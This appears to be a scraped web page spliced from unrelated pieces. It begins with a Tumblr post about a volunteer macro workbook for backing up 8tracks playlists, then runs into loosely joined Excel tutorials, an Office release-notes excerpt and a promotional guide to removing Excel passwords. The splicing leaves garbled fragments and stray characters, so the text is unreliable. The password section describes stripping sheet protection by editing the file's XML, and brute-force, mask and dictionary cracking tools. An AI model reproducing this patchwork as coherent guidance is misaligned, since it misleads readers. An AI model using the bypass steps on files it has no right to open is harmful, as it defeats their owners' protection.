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starfleetdoesntfirefirst · 5 years ago

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8tracks Backup

Edited 1/7/2020 to reflect that the new workbook can open your 8tracks folder and fix errored playlists you’ve already run with just a few clicks, which I hadn’t realized until I had time to use it myself!

The following is the new, up-to-date as of 1/6/2020 version of this reblog chain with extraneous and out-of-date information removed and a link to and information on the new workbook.

After 8tracks announced, with only a few days’ notice, that it was shutting down on 12/31/2019, an effort was made to preserve as many playlists as possible. The original 8tracks backup macro by VidderAdmin was downloaded over a hundred times across multiple continents, and the information from thousands of playlists was saved. Go fandom!

However, it turns out that 8tracks is staying up a bit longer—though we have no way of knowing how long—which leaves more time to save playlist information. To this end, VidderAdmin and the team that formed to work on this created a new macro workbook that fixes some issues and improves functionality.

The Updated Macro Workbook

- FIXED: playlists with Unicode producing 0kb files (and helps rerun files that failed)

- FIXED: missing images (and helps rerun files that failed)

- IMPROVED FUNCTIONALITY: helps rerun failures, allows user to choose folders to download to and to download to subfolders by fandom tag specified by user, accounts for extraneous text at the end of URLs without the user needing to ctrl+f and delete it, checks folders to ensure every text file has a matching image and reruns those without

You will need to have macros enabled to run the spreadsheet; here’s how to enable macros. Side note: genuinely friendly PSA that macros are default-disabled in Excel for a reason. Macro viruses can send and delete files and be computer-destroying levels of dangerous; always be careful what you choose to download and run!

Download: bit.ly/8tracksbackup

[Rest of ID in alt text] “8tracksbackup is a macro-enabled workbook that helps to quickly download playlist metadata (including the track list) and cover artwork based on URLs that you provide. We have also included some tools to help ensure those downloads worked correctly.

We're a team of volunteers hoping to preserve fandom history before it's lost, but we are not affiliated with 8tracks, and we are not affiliated with Internet Archive.

While we've done our best to test out the macros in this workbook and address any bugs or glitches, unfortunately we can't guarantee how it will perform, and you are using this at your own risk.

If you're familiar with VBA, you can take a look at the code yourself, but again please know that we can't guarantee how it will perform if you modify the code, or if you are sent a copy of this workbook that didn't come from us.

We've included some instructions within these tabs, but if you have further questions, please contact us at 8tracksbackup AT gmail DOT com and we'll do what we can to help.

If you are interested in submitting your 8tracks metadata and covers to the Internet Archive to be included in an 8tracks Fandom History Collection, please contact us at the email above by 12/31/2020.

If you'd like us to notify you when we've updated the workbook, or if you do not want your playlists included in our collection, you can fill out this Google Form: forms.gle/9Weh4RpKYnXFTrMQ6

Thank you for helping to save at-risk fanworks!”

So, do you need to re-run URLs you’ve already saved?

One of the main (and hardest to spot) issues in the original pre-New-Years macro was that JSON files (where the tracklists are) were coming out blank for playlists whose information included Unicode (pretty much anything not in the Roman alphabet; for example, Japanese lettering and Chinese characters).

EDITING TO ADD: I wrote the below struckthrough text before I’d used the new macro workbook, and I hadn’t yet realized that it has a sheet that quickly finds and re-runs the errored playlists in your 8tracks folder (and/or whichever other folders you point it at, if you’ve organized playlist files into multiple folders). It took me less than an hour to use it to fix all the errored playlists out of the over 6,000 total playlists I’d already run! So, my errored playlists from running the first macro are fixed, and if you have errored playlists from running the first macro, it should take just a few clicks and less than an hour’s running time to fix them. :)

So if you want to make sure that closer to all of the playlist URLs you ran through the macro have their tracklists saved, especially for tags/fandoms with many playlists with Unicode (for example, anime fandoms), you may want to re-run them with the new macro (which also has some convenient ways of finding the errored playlists).

However, don’t despair if you won’t have time to re-run URLs; having already saved a majority is much better than nothing having been saved! (If you don’t have time, you can also share your URLs with us at the email above in case someone has time to run them on the new macro, though please know that we may not have time to get to them. Please include a note that they were already run with a previous version—thanks!)

A note for folks who sent me, starfleetdoesntfirefirst, URLs to run: As I mentioned in another post, back in the days of the first macro I was able to get to some or all of what each person sent, but may not have time to get to all of what each person sent depending on when 8tracks shuts down. However, I almost definitely won’t have time to use the new macro to re-run Unicode-containing and other errored playlists I already ran. I’ll pass them along to the rest of this team, but given that none of us can guarantee we’ll get to them before 8tracks shuts down, if you feel strongly about making sure everything you sent to me gets re-run with the new macro, it may be worth pinging your Excel-having friends for aid. (I apologize for this; I didn’t anticipate things getting to this stage rather than a quick pre-New-Years effort!)

How to record & check (some of) which 8tracks tags have already had their playlists extracted

This Dreamwidth post is a place where you can comment to record which 8tracks tags, from any fandom (or nonfandom topic like “autumn”), you have extracted the URLs from, and check which 8tracks tags others have already extracted the URLs from, to avoid unnecessarily duplicating work. (You don’t need a Dreamwidth account to comment!) Not everyone who is extracting URLs is going to know about this post, so no guarantees of avoiding duplication, but it’s a start. :)

How to extract playlist URLs for use with the workbook

Instructions by @meeedeee adapted by me:

1) Do a tag search on 8tracks (or go to your own “liked” or “already listened” page if those are the playlists you want to save). Scroll to the very bottom of the page (so that all playlists have loaded and actually appeared on the page).

Note that if your tag has more than 1000 results, 8tracks will still only grab 1000.

2) Use a link-extracter plugin (like this one for Chrome) to extract all the links on the page.

3) Filter for links with the word “play” in them. This will pull up only the actual playlists. (There were 54 playlists tagged “Nyota Uhura,” and as you can see in the screencap, adding the filter “play” gives exactly 54 results.)

4) Copy into spreadsheet.

Note on Archive Team’s effort

Archive Team is also attempting to archive as many playlists as they can, by random number rather than by tag due to 8tracks’s 1000-playlist limit in tag search. These will probably be stored on the Internet Archive as WARC files, which means that it will be harder for non-power-users to access playlist info, thus our continuing this separate effort.

Per @meeedeee: As a result they dropped trying to archive by tags, instead they’re running 3.5 million random numbers in the hopes of grabbing what they can. On the back end of 8tracks, the playlist data is not stored by URL, or by tag, but by unique numeric identifier. Because of the volume that they have to run, the Archive Team will not be archiving the “look and feel” (user profile icons). Only basic metadata (playlist, user name, comments) and cover art. The meta data will be stored in a json format which looks like this and is not easily readable https://8tracks.com/mixes/3169100/tracks_for_international.jsonh

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These are volatile functions, which means any change in the Excel workbook will cause them to recalculate. FunctionsĮxcel has two functions that will give us the date and time. This shortcut also works while in edit mode and will allow us to insert a hardcoded date into our formulas. Pressing Ctrl + Shift + will enter the current time into the active cell Pressing Ctrl + will enter the current date into the active cell. The dates and times created will be current when they are entered, but they are static and won’t update. These are both quick and easy ways to enter the current date or time into our Excel workbooks. Video TutorialĮxcel has two great keyboard shortcuts we can use to get either the date or time. In this post, we’re going to look at 5 ways to get either the current date or current time into our workbook. The great news is there a lot of ways to get this information into Excel. Excel displays a context menu and selects the appropriate option.The current date and time is a very common piece of data needed in a lot of Excel solutions. Another way to enter your first date will be to right-click the fill handle and drag and release the fill handle through the cells you automatically want to fill with dates.Click the AutoFill Options icon and choose the option you want when the range is populated by sequential dates. You can use the above-mentioned Excel AutoFill options.There are two ways of automatically adding weekdays, months, or years to the selected range of cells. Click the first date on your cell and then drag the fill handle to or from the cells you want Excel to add dates.Enter the original date in the first cell.It is a common way to automatically fill a column or row.

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To autofill a series of dates in which one day is incremented, you can use the Excel AutoFill function.

The functions take the current system clock date and time.

The date and the time returned will not be refreshed on an ongoing basis, but only when the chain is reopened or re-calculated.

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In particular, there's no need to go through several sub-folders in order to get to the sample workbook. The sample file path above is relatively simple. This workbook is saved in the D drive.Īs mentioned above, notice that when specifying the filename, you must provide the whole file path, name and extension. The following macro (named Open_Workbook_Basic), opens the Excel workbook whose name is “Example – VBA open workbook”. Let's take a look at the Workbooks.Open method in practice: However, you can also use the second syntax (simply “File_Name”. For the reasons that I explain here, this is my preferred syntax. The first sample statement above uses named arguments (Filename:=”File_Name”).

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As shown in the example below, when specifying the workbook's file name, you must provide the full path and name of the file. Where “File_Name” is the file name of the workbook that you want to open with VBA. More specifically, the basic VBA statement syntax to open a particular workbook is: You specify which workbook you want to open by using the Filename argument. Since taking a look at 15 arguments at once can get a little overwhelming, let's start by taking a look at the most basic case: opening an Excel workbook whose name you know. Each of these 15 optional arguments allows you determine a different aspect of how the Open method opens an Excel workbook. The Workbooks.Open method has 15 optional arguments. Within Visual Basic for Applications, the method that opens an Excel workbook is the Workbooks.Open method.

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You will learn about this in the chapter - Assigning Macros to Objects. Then, you can run the macro by clicking on that object. You can assign a macro to an object such as a shape or a graphic or a control.

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In Trust Center windows find and Select Macro Settings.Now Click on Trust center Settings button.Click on File in the Menu bar and open Options window.Available Macro Options: Enable or Disable Macros in Excel:

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You have been able to remove all hyperlinks with a small bit of Excel VBA code. This instruction was already entered into the module for us when started the type the name of the Macro.

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Allow Iteration Calculations In Excel

Now that it's going out to users that don't have iterative calculations enabled, it's breaking their spreadsheets. I already have a workbook open macro in place, just need to add a line to ensure iterative calculation is turned on with the following settings.'Enable iterative calculation'. Maximum Iterations = 100. Maximum Change = 0.001. If you're using Excel for Mac, click the Excel menu, and then click Preferences Calculation. If you're using Excel 2007, click the Microsoft Office Button, click Excel Options, and then click the Formulas category. In the Calculation options section, select the Enable iterative calculation check box. On the Mac, click Use iterative calculation. Jun 29, 2017 How to enable and control iterative calculation in Excel To turn on Excel iterative calculation, do one of the following: In Excel 2016, Excel 2013, and Excel 2010, go to File Options Formulas, and select the Enable iterative calculation check box under the Calculation options.

Iterative calculations can help find the solution to mathematical problems by running calculations over and over using previous results. This is made possible by computers that can run calculations repeatedly to find the likelihood of possible answers by getting closer to the results from different angles.

In Excel 2016, Excel 2013, and Excel 2010, go to File Options Formulas, and select the Enable iterative calculation check box under the Calculation options. In Excel 2007, click Office button Excel options Formulas Iteration area. In Excel 2003 and earlier, go to Menu Tools Options Calculation tab Iterative Calculation. Hi there, I have a spreadsheet I have created with iterative calculations in it (deliberately). The sheet is now about to go out to staff and won't function correctly if the iterative calculation isn't enabled. Is there a VBA code I can insert to enable this automatically when the sheet is.

In Excel, you can reference a cell that contains a formula and use its result in an identical formula in a different cell. For this, you would need to copy the formula and references as many times as you want to repeat the process. This can work if your model is relatively simple, but doing so in more complicated workbooks might prove much more challenging, if not downright impossible to do.

An alternative and better approach is to use the Excel iterative calculation feature. You can create a formula that refers to the cell containing the formula. The formula can use the result of the previous calculations, thus automatically calculating the same thing over multiple iterations.

As easy as it sounds, there are a few things you need to consider. First of all, the number of iterations should be limited. Even though a higher iteration count usually means more accurate results, this also means longer calculations times – and sometimes crashes. Another thing to note is that when iterative calculations are disabled, Excel will show a warning as circular references are usually considered user errors unless you know what you’re doing.

To learn more about circular references please see: How to Handle Circular References in Excel

To activate and use circular references, you must first activate them by checking Enable iterative calculations option under the File menu.

Go to File > Options > Formulas > Calculation options section in Excel 2016, Excel 2013and Excel 2010.

In Excel 2007, go to Office button > Excel options > Formulas > Iteration area.

In Excel 2003 and earlier, go to Menu > Tools > Options > Calculation.

Enabling iterative calculations will bring up two additional inputs in the same menu:

Maximum Iterations determines how many times Excel is to recalculate the workbook,

Maximum Change determines the maximum difference between values of iterative formulas. Note that entering a smaller number here means more accurate results.

Iterative calculations stop when one of the conditions defined (iterations count or change value) are matched. For example, let’s assume that Maximum Iterations is set to 100 and Maximum Change to 0.001. This means that Excel will stop calculating either after 100 calculations, or when there’s less than 0.001 difference between the results.

Calculating Future Value of an Investment

Let’s assume that we have $10,000 and want to invest this money in a cash deposit (CD) account. We’re going to assume a monthly interest rate of 1.25%. You can download the sample workbook for this use case . To calculate the total value at the end of the 21st month, we’re going to calculate the principal for each month, and add the interest to the previous month.

Begin by entering the starting cash, interest, and the total value function like below.

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Then, select the cell with the initial cash value and add the reference of the total value function.

This will give a circular reference warning if iterative calculations are not enabled. If you haven’t done so already, enable this option and set the Maximum Iterations to 20 to find the interest for the 21st month. See the previous section Enabling Iterative Calculations to enable this feature.

Automatic Timestamp

Circular references can also be used to add time stamps into cells. You can download the sample workbook for this use case . Let’s assume we want to add time stamps to the orders entered in the table below.

We can use circular references to add a time stamp when a new order information is entered. Kontakt 5 library content not found. To do this, begin by adding a new column into the table where you’d like to print the timestamps. Type in the formula,

=IF(A2<>””,IF(I2<>””,I2,NOW()),””)

This formula will check whether there’s data in Order Number (cell A2). If it’s not blank and the timestamp cell is empty, the formula will return the NOW() function.

Note that pressing the Enter key will give a circular reference warning if iterative calculations are not enabled. See the previous section Enabling Iterative Calculations to enable this feature. This time Maximum Iterations or Maximum Change numbers don’t mean much, because we only need a single iteration, so you can leave these two inputs in their default values.

Now, every time we enter a new order and create a new row, a timestamp will be automatically printed on the Timestamp column.

Definition of Iteration:- It is the repeated calculation of a worksheet until a specific numeric condition is met. Excel cannot automatically calculate a formula that refers to the cell — either directly or indirectly — that contains the formula. This is called a circular reference. If a formula refers back to one of its cells, you must determine how many times the formula should recalculate. Circular references can iterate indefinitely. However, you can control the maximum number of iterations and the amount of acceptable change. The Enable Iterative calculations option allows us to do so.

Go to File > Options. Excel Options dialog box will appear. Click Formula and tick the checkbox enable iterative calculations and click OK. Now perform the Iterative option in Excel. Use the formula in A1 cell

Use the formula in A2 cell

How To Allow Iterative Calculations In Excel

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As you can see the blue arrow pointing towards each other shows that the values of both cells depend on each other’s value.

Hope you will be performing more and more functions now. Please state that your query down in the comment box. We will help you.

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Add Ins On Excel For Mac

An add-in enhances or works with Office 2011 for Mac software in some way. Add-ins are sometimes called plug-ins or add-ons. Here are three examples of excellent commercial-quality add-ins that work with Mac Office:

The straight answer is that VSTO add-ins are based on the COM technology which doesn't exist on MACs. It is for Windows OS only. VSTO in particular and COM addins in general donot have the ability to work on the Mac OS or in iOS.

Hi R abbitRabbitTL. Please click file menuNew workbook and then click Tools menu to check if Excel Add-ins is greyed out. Meanwhile, please refer to the steps in this article to start your mac in safe mode, then only open Excel and open a new workbook to check if you can select Excel Add-ins from Tools menu. Disclaimer: Microsoft provides no assurances and/or warranties, implied. Installing Data Analysis & Solver Add-ins for Excel 2019(Office 365) Resolved: Excel 2016 for Mac - Solver Add-in not allowing cell references to be picked; Crestron AirMedia for Faculty, Staff, Students and Guests; Career Management Not Logging in for Safari Users. In the Add-Ins available box, select the Solver Add-In check box, and then click OK. If Solver Add-in is not listed in the Add-Ins available box, click Browse to locate the add-in. If you get a prompt that the Solver add-in is not currently installed on your computer, click Yes in the dialog box to install it. After you load the Solver add-in, the Solver button is available on the Data tab. Open the Add-ins Menu in Excel. Select the Tools menu in menu bar. Select the Add-Ins option. Press the Select button in the Add-Ins window. Find the add-in file that you saved on your computer in Step 1. Then press the Open button. The add-in file should now appear in the list of available add-ins in the Add-Ins window.

EndNote (www.endnote.com): A high-end bibliography product for Microsoft Word.

MathType (www.dessci.com/en/products/MathType_Mac): The full version of Equation Editor that’s included in Office. It lets you put mathematical symbols in Word, Excel, and PowerPoint.

TurningPoint (www.turningtechnologies.com): Use clickers to capture audience responses in real time and present the results on PowerPoint slides. This software is used in classrooms, quiz shows, marketing studies, and more.

Many add-ins made for Office for Windows can work on your Mac, so be sure to check their system requirements. Almost all add-ins can be made Mac-compatible with a little effort, but you may have to request the developer of a nonfunctioning add-in to make that extra effort.

You can put add-ins anywhere in Finder. If you want to make an add-in available to all Mac OS X user accounts on a computer, put them into Applications:Microsoft Office 14:Office:Add-Ins. The Documents folder is a good place to put add-ins to be used by a particular OS X user account.

A few commercially produced add-ins are installed using the Mac OS X installer program. Because making an installer is an art of its own and takes extra time and effort on the add-in developer’s part, you install most add-ins manually using the Add-Ins dialog in Office.

A Word add-in is a template file that contains VBA (Visual Basic Editor) code. You can add such a template to the Templates and Add-Ins dialog. In PowerPoint and Excel, an add-in has a special file extension and is not necessarily a template.

Add-In Extensions ApplicationNew Add-In File ExtensionOld Add-In File ExtensionWord.dotm.dotExcel.xlam.xlaExcel macro enabled template.xltm.xltPowerPoint.ppam.ppaPowerPoint macro enabled template.potm.pot

To open the Add-Ins dialog, here’s what you do:

Word: Choose Tools→Templates and Add-Ins.

Excel and PowerPoint: Choose Tools→Add-Ins.

Word, Excel, and PowerPoint: Click the Developer tab on the Ribbon and then click Add-Ins→Add-Ins.

When you have the Add-Ins dialog open, you can do the following simple tasks to add, remove, load, and unload add-ins:

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Load: Same as selecting the check box next to the add-in’s name. Loading also runs the add-in. (Available only in Excel and PowerPoint.)

Unload: Same as deselecting an add-in’s check box. Unloading disables the add-in. (Available only in Excel and PowerPoint.)

Add: Click to open the Choose a File browser, where you can browse to an add-in template in Finder and add your add-in to the list.

Remove: Click to remove the selected add-in from the list.

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In Word, when you select an add-in’s check box or click the Add button, you load the template, thereby making the VBA routines that it has available globally within all open documents in Word. A loaded template is called a global template. Revisit the Templates and Add-Ins dialog to re-load your template(s). To disable an add-in, deselect its check box or click the Remove button.

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Excel and PowerPoint add-ins are also loaded and unloaded using check boxes. When you close Excel or PowerPoint, add-ins that were loaded at closing reload themselves when you reopen the application.

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Password Recovery For Excel Mac

Overview of Excel Files. An Excel file, most commonly found with the extension '.xlsx', is a. Download Excel Password Recovery on Windows & Mac. Compatible with Windows 10, 8, 7 and MacOS 10.9 to 10.13. Free Download Buy Now ' Such a relief to find this software today. I did forget the password of my Office Salary Excel file and it was a complete disaster as.

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'How to remove password from my Excel file and sheet? What is the way of removing the protection?.'

Put it simply, you set a password to encrypt your workbook/spreadsheet and now what to remove password protection from Excel, do you? OK, here you'll find 7 effective solutions!

Hey, before you dive into further, ask yourself if you know the Excel password. As you can see, the methods are divided into 2 groups.

Now, let's check how to remove a password from Excel 2019/2017/2016/2013/2010/2007.

Part 2. Remove Password from Excel (You Forgot the Password)

Part 1. Remove Password from Excel (You Know the Password)

There are 4 types of Excel password encryption/protection. I'll give brief introductions and show you how to remove.

Since you remember the passcode, it'll be super easy for you to remove password from Excel File, Sheet, Workbook, and Read-Only Protection.

Way 1. Delete the Encrypted Password (Open Locked Microsoft Excel)

If it requires a password to open a password-protected Excel file, it means this workbook is locked. To remove Excel opening encrypted password, follow the steps below.

Step 1. Double-click your encrypted Microsoft Excel Workbook, then enter the password to open it.

Step 2. Click 'File' in the top left corner and then select 'Info'.

Step 3. For Excel 2019/2017/2016/2013/2010, click on 'Protect Workbook' and select 'Encrypt with Password' from the drop-down list.

(For Excel 2007 and older versions, click on 'Protect Document' and select 'Encrypt with Password')

Step 4. Clear the password box (make it empty) and then click OK.

After removing password in Excel file, don't forget to save the file. Now you've successfully deleted the encryption protection.

Way 2. Unprotect Excel Workbook or Spreadsheet

Excel 'Protect Workbook' password is set to protect its structure from being altered, hidden, and renamed. And the 'Protect Sheet' password is to keep your important data safe in the worksheet.

Now let's check how to remove password protect from Excel.

Step 1. Find and open the Excel Workbook/Worksheets.

Step 2. Click 'Review' in the top menu bar.

Step 3. Select 'Unprotect Sheet' or 'Protect Workbook', and then enter your password. Lastly, click OK.

This will remove the password from encrypted Excel sheet or Workbook.

Way 3. Remove Read-Only Limit Protection on Excel

You can't edit or modify the Excel spreadsheets if the read-only mode is turned on. If you know the password and want to turn it back off, here are the steps for you to disabled read-only restriction in excel document.

Step 1. Open the read-only protected Excel file and enter the password. Next, click OK.

Step 2. Go to the menu top toolbar and then click File > Save As > Browse (select a location) > Tools > General Options

Step 3. Locate 'Password to modify' and empty the text box next to it. Click OK to continue.

Step 4. After that, click Save.

Part 2. Remove Password from Excel (You Forgot the Password)

What to do if you forgot Excel password? That's OK. Even though you don't know the passcode, there're useful workarounds to help. In the following sections, you'll learn methods that enable you to remove password from Excel without password.

Way 4. Unprotect Excel Spreadsheet without Password

With this trick, you can easily unprotect Excel spreadsheet/worksheet without knowing the password. Let's see how to do it!

Note: make a backup of your Excel workbook and save it to another folder on computer.

Step 1. Change the extension of the protected worksheet: rename it from *.xlsx to *.zip.

Step 2. Open the ZIP File, double-click the 'xl' folder, and then open the 'worksheets' folder.

Step 3. In there, you can find the spreadsheets (in .xml format).

Step 4. Open a sheet file in Notepad. Now search for the content: <sheetProtection algorithmName='SHA-512″ hashValue='.

Then, select the entire line (the characters between'<' and '> ') and delete it.

Step 5. Save the file to a new folder.

Step 6. Do the same steps for all other spreadsheets.

Step 7. When it's done, drag and drop the modified .xml files to the 'worksheets' folder. Make sure they overwrite all the original XML files.

Step 8. Rename the *.Zip file back into *.xlsx

Voila! Open it and check if the password protection for Excel Spreadsheet/worksheet is removed.

Way 5. Crack/Break Excel Opening Password with Software

Can you remove opening password from excel without password? Sure! Password Genius Standard can easily break Excel file password, and then you can use the passcode to delete the encryption.

In addition to Excel, it also can recover password for Outlook, Word, PowerPoint, PDF, RAR, ZIP, etc.

Check how to crack forgotten Excel password:

Step 1. Download and install the software on PC/Mac. After launching it, select 'Recover Passwords for Files and Archives'.

Step 2. From the password recovery list, click 'Excel Password Recovery'.

Step 3. Click 'Open' to import the password encrypted Excel file.

Step 4. In this step, you need to select the attack type, then set the range, length, and so on.

Mode 1. Brute-force: It is the mode you use when you can recall the password range and length, which will greatly reduce the passcode-cracking time.

Mode 2. 'Mask': If you still remember some characters of the password, then the 'Mask' attack may be best for you. Just enter the known character and replace the rest with '?' in the 'Mask' box.

Mode 3. 'Dictionary': After selecting the 'Dictionary' attack, select the 'Dictionary' tab and then click 'Select Dictionary' to import the dictionary into the Password Genius.

Mode 4. 'Smart': This mode does not require you to make any settings. However, it takes longer to figure out your Excel password.

Step 6. Click 'Start' and wait until the password is retrieved. Once your see the cracked excel password, click 'Copy' in the dialog box. Next, open the encrypted Excel file with the password.

After all these steps, now you can manually remove a password from an Excel file.

Just like Password Genius, PasswordFab for Excel can quickly remove password from excel. The three attack types provide the highest possibility to recover passwords. When you cannot open excel with a password for some reason, PassFab for Excel is a recommended tool. Additionally, there are more excel password removers that can help.

Way 6. Use Workbook Unprotect Genius

Likewise, you can use another assistant software Excel Workbook Unprotect Genius to remove sheet protection password, read-only password, and Workbook protection password.

How to use the Workbook Unprotect Genius

Step 1. Get the software downloaded on your computer. After that, click Open to import a password protected excel Workbook.

Step 2. Click the 'Remove Password' button

Note: If the file is .XLS, you'll need to convert it to .xlsx before password protection removal.

Way 7. Remove passwords from Excel files Online

In case you don't want to install the program on your computer, you can an online tool (www.lostmypass.com).

It's very convenient to use. Just go to the site and upload your password locked Excel document. A few minutes later, you will get the recovered password on screen.

The problem is, I don't think it's safe to upload important documents to an online site. Besides, the service pricing is higher than using software.

The Bottom Line

All in all, we talked about 7 solutions to remove password from Excel workbook and spreadsheet. As you can see, removing protection from Excel is not so much difficult.

As always, if any method helps you solve your problem, please leave a comment and let me know. Thanks a lot!

When you forget password, only VBA programming, extension modification and Excel password remover can solve your problem. But obviously, the first 2 methods are too complicated, and even worse, they can't delete the password of latest Excel, which means you may take the time to deal with useless things.

To save time and money, open and modify the Excel 2019/2016/2013/2010/2007/2003 related to work or life, now let's take a look at the top 7 XLSX/XLS password remover.

Part 1. Summary of Excel Password Remover

Here I have summarized the features of each tool. Any freeware to try? If on MS Excel 1997/2003, you can try #1 Rixler Excel Password Recovery Master, #2 Free Word/Excel Password Recovery Wizard. But for other cases, not really or completely free, and the price varies.

If you want to do it online without software, go to #3 password-find.com

If you want a one-stop password recovery tool, try #4 Password Genius Standard, which supports other MS files apart from Excel. But it only recovers Excel open password.

The other three tools: #5 Straxx Excel Password Remover can only remove Excel workbook protected password. And the rest #6, as well as #7, can recover both kinds of Excel password.

Part 2. Introductions of Excel Password Cracker

In this part, you'll see the review result of each tool.

#1. Rixler Excel Password Recovery Master

Rixler Excel Password Recovery Master is the best free Excel password remover that can delete or restore various forms of Excel passwords. It has a unique way of unlocking the Excel, that is, crack Excel password with password encryption server and cloud computing.

Review Result

You can save on the budget if you are using MS Excel from 97 – 2003. It's free and can quickly decrypt workbook and worksheet passwords with simple UI and UX.

Advantages:

1. Support a variety of Excel formats: XLS, XLT, XLA, XLSX, XLSM, XLTX, XLTM, XLSB, XLAM.

2. This is a free password recovery tool.

Disadvantages:

1. Only paying $14.98 for Rixler Excel Password Recovery Pro can unlock Excel files after Excel 2013.

2.Only support Excel, not including other MS Office like Word, PPT and so on.

#2. Free Word/Excel Password Recovery Wizard

It is an Excel password breaker designed for Excel open password. There are 2 recovery methods: Dictionary Attack and Brute Force Attack, where 'Dictionary Attack' is the primary way of Excel passwords.

Review Result

The free unprotect feature only supports from MS 97 – 2003. I tried Dictionary Attack and Brute Force Attack in the order suggested by the official. The Word password was successfully retrieved. It claims to purchase an extra password dictionary for $15 to find the Excel password.

Advantages:

1. Remove Word password as well as specific versions of Excel for free – from 1997 to 2003.

2. An additional password dictionary is provided although paid.

3. Crack the Excel password by character combination.

Disadvantages:

1. Spend a lot of time looking for lengthy and complicated passwords.

2. For Excel 2007-2010, it suggests going to Password-Find.

#3. password-find.com

password-find is an online cracker for Excel password that allows you to retrieve Excel open and protected password without downloading it to PC/Mac.

Review Result

I can try the 'Remove Password' mode for free. Although it will remove the password and allow me to access the Excel, I still need to pay for the Pro one to display everything in the Excel file. And the password still exists after leaving the site.

Advantage:

1. Free to unlock part of the Excel files.

2. Unlock password protection for workbook and worksheet.

3. No need to download, convenient and fast.

4. It is an office password deletion tool, also works as a Word, PowerPoint and RAR password remover

Disadvantages:

1. There is a limit on the size of Excel file.

2. Not completely free. It takes $19.95 to remove password from 10 documents. And you won't get the password.

#4. Password Genius Standard

The Password Genius Standard is the best one of the paid Excel password crackers. It combines multiple technologies to accelerate Excel password recovery to quickly remove Excel password without losing data or corrupting data.

Review Result

The 4 recovery types: Normal, Mask, Dictionary, Smart are provided to use in different situations. I quickly recovered the Excel password with intimate prompts and navigation. In general, the more complex the password, the more time it takes.

Advantage:

1. 4 recovery modes to meet the needs of the market.

2. It is possible to perform Excel, Word, PowerPoint, Outlook, RAR, PDF, ZIP password recovery.

3. Built-in acceleration technology.

4. It can recover passwords of up to 3 characters for free, but for others, it says $29.95.

Disadvantages:

1. Can only recover Excel open password, but not worksheet/workbook.

#5. Straxx Excel Password Remover

Straxx Excel Password Remover developed for worksheet and workbook protection password deletion, and you can delete Excel passwords with macros within minutes.

Review Result

After selecting one from 'Unprotect Sheet', 'Unprotect workbook' and 'Unprotect all', I can delete worksheet/workbook protection. However, it should be noted that it can only crack passwords for free in Excel 2007 and 2010 on PC.

Advantage:

1. Excel 2007 and 2010 protection passwords on Windows can be removed free of charge.

2. It has simple steps of password cracking.

3. The original workbook will not be modified.

Best Excel Password Recovery Tool

Disadvantages:

1. It needs $28 if you're on Mac or want to remove protection on Excel 2013/2016/2019.

2. It can't recover Excel open password.

#6. iSeePassword Excel Password Recovery

This is a remover of Excel password, consisting of 2 methods: Recover Open Password from Excel and Remove Workbook/Worksheet Password.

Review Result

I tried to use these 3 attack modes to recover Excel open password. It's all done within 30 minutes!

Advantages:

1. It can crack open password and protection password.

2. Simple and clear design.

3. Three useful attack algorithms.

Disadvantages:

1. It takes $29.95, but only for Excel, not supporting Word, PowerPoint, and RAR etc.

#7. PassFab for Excel

As an Excel password remover, PassFab for Excel has fully realized its potential. It allows users to perform Excel password recovery with one click.

Review Result

There is a detailed Excel recovery guide on its official website. I easily retrieved my open password by the guidelines. Of course, it can also remove the password quickly.

Advantage:

1. Three Attack modes: 'Brute Force Attack', 'Brute Force with Mask Attack' and 'Dictionary Attack'.

2. In 'Dictionary Attack' mode, it allows downloading the latest password dictionary for free.

3. The perfect combination of open and protection password recovery.

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4. Its price is $15.95 for a lifetime license on 1 PC.

Disadvantages:

It only supports Excel, not including other Microsoft files.

The Bottom Line

When you try any of Excel password remover that suits you, you will find it easy to remove/recover Excel passwords. Each software has its own unique attributes, and discovering its uniqueness is the key to your choice of software. I hope that the software description of this review will give you some hits.

Of course, if you have a better Excel password breaker to recommend, please leave a comment below.

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Office Insider for Windows Version 2005 release notes

Office Insider for Windows Version 2005 release notes.

Build 12827.20030 (May 1, 2020)

Excel Notable fixes: Fixed an issue where chart data table could render values in a date axis incorrectly.Fixed an issue where page breaks could not be disabled after going into Page Layout or Page Break Preview.Fixed an issue where inserting a column in a filtered list would take longer than expected.Fixed an issue where chart line styles could be lost after hiding and unhiding columns with series data.Fixed an issue where a crash could occur when trying to list changes on a new sheet for a workbook using legacy Shared Workbook mode.Fixed an issue where custom formatting in Pivot charts may not be saved when the "Invert if negative" option was enabled.Fixed an issue where custom formatting for a single data point in a Pivot chart was not saved if the Invert if negative option was selected.Fixed an issue where entering the @ symbol added in a CSV file would result in the string following the @ symbol being converted to a formula.Fixed an issue where decimal values in the SEQUENCE function were not rounded correctly. Word Notable fixes: Fixed the issue where closing a document with draft comments would prompt the user to close the document without saving the draft comments and clicking Cancel would close the document rather than leaving it open.Fixed an issue where translating a posted comment would result in the Inserting translated text failed error message being displayed.Fixed an issue where clicking on a hint in Web View/Immersive reader would scroll to the top of the page even though it was already in view.Fixed an issue where inserting comments on a document in collaboration mode would not always work.Fixed an issue where the People card would flash if the @ mention was clicked.Fixed an issue that, when attempting to save a file containing a macro under a new name, would cause it to be saved with .docx extension and the filename WRO0004.docx, regardless of what the user entered, rendering the document unusable. Outlook Notable fixes: Fixed an issue where very long safelinks that users clicked on would fail to load due to truncation.Fixed an issue where Outlook folders with names containing DBCS (Double Byte Character Set) characters would intermittently disappear when synchronizing with the server if using an IMAP account and running on a system with the locale set to Japanese. PowerPoint Notable fix Fixed an issue where if a user created a comment without posting it and closed the Comments pane, then opened a new window, navigated through multiple slides and, closed the window, and finally re-opened the Comments pane in the original presentation, the draft comments would not be available. Project Notable fix: Fixed an issue where if Project is connected to Project Web App and the decimal separator is a comma, the TaskDependencies.Add method fails when Lag is added.

Build 12816.20006 (April 24, 2020)

Outlook Automatically shorten links for OneDrive & SharePoint files We’ve made these updates to improve the readability of links to OneDrive and SharePoint files that are shared with recipients using Outlook for Windows. Senders will also be warned if Outlook detects potential access issues for recipients. Then they will be given the ability to address them prior to sending. This will ensure that the links you send will work for recipients. How it works: When you’re composing an email, you can perform one of these actions: Copy a link to a file stored on OneDrive or SharePoint. Then paste it into the body of an email message.On the Message tab, select Link > Insert Link and select a file stored on OneDrive or SharePoint.Right-click the body of an email message and select Link > Insert Link. Then select a file stored on OneDrive or SharePoint. Learn more.

